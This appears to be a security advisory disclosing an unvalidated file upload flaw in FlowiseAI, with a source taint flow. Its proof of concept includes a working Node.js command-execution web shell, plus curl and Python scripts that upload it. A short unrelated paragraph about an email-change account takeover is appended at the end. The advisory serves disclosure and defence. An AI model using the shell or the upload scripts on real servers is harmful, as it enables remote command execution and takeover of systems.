Summary A file upload vulnerability in FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).

Details The system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered.

The uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities.

Taint Flow

- Taint 01: Route Registration POST file requests are routed to the controller via Multer https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/routes/attachments/index.ts#L8

- Taint 02: Multer Settings Uploaded files are stored temporarily before further handling https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/index.ts#L1950-L1954

- Taint 03: Controller Receives the file from Multer and delegates to the service https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/controllers/attachments/index.ts#L4-L11

- Taint 04: Service Layer Processes the file and sends results back to controller https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/services/attachments/index.ts#L7-L16

- Taint 05: createFileAttachment Extracts metadata, moves file to permanent storage https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/createAttachment.ts#L118-L126

- Taint 06: File Save Path Creates storage directory and saves file https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L170-L175 https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L533-L541

- Taint 07: File Filtering Filters dangerous characters in file names but does not reject malicious content https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L1104-L1111

PoC

shell.js (Node.js Web Shell) js const { exec } = require('childprocess'); const http = require('http');

const server = http.createServer((req, res) => { const url = new URL(req.url, 'http://localhost'); const cmd = url.searchParams.get('cmd');

if (cmd) { console.log(Executing: ${cmd}); exec(cmd, (error, stdout, stderr) => { res.writeHead(200, {'Content-Type': 'text/plain'}); if (error) { res.end(Error: ${error.message}\n${stderr || ''}); } else { res.end(stdout || 'Command executed successfully'); } }); } else { res.writeHead(200, {'Content-Type': 'text/html'}); res.end( <h1>Node.js Web Shell</h1> <p>Use ?cmd=command to execute</p> <p>Example: ?cmd=id</p> ); } });

const PORT = 8888; server.listen(PORT, '0.0.0.0', () => { console.log(Shell running on port ${PORT}); console.log(Access: http://localhost:${PORT}?cmd=id); });

curl Upload bash curl -X POST "http://localhost:3000/api/v1/attachments/0237eefc-18c5-46b2-8b3c-97aa516133fc/$(uuidgen)" \ -H "Cookie: jwt=ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0" \ -F "files=@shell.js;type=application/javascript"

Python Upload Script python import requests import uuid

TARGETURL = "http://localhost:3000" CHATFLOWID = "0237eefc-18c5-46b2-8b3c-97aa516133fc" TOKEN = "ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0" CHATID = str(uuid.uuid4())

def uploadshell(): url = f"{TARGETURL}/api/v1/attachments/{CHATFLOWID}/{CHATID}" headers = {'Cookie': f'jwt={TOKEN}'} files = {'files': ('shell.js', open('shell.js', 'rb'), 'application/javascript')} r = requests.post(url, headers=headers, files=files)

if r.statuscode == 200: print("[✓] Upload success") print(r.text) else: print(f"[✗] Upload failed ({r.statuscode})") print(r.text)

if name == "main": uploadshell()

<img width="1900" height="981" alt="image" src="https://github.com/user-attachments/assets/e0d6a11e-445e-447c-a8f3-c0cb0b9ffb3f" />

Impact An attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.

Flowise before 3.0.10 (affected versions 3.0.7 and earlier) contains an unverified email change vulnerability. An authenticated user can change the account email address, used as a login identifier and password-recovery channel, via the account profile endpoint without confirming the change to the original email address or re-entering the current password. By changing the recovery email, an attacker can take over the account and abuse password reset mechanisms.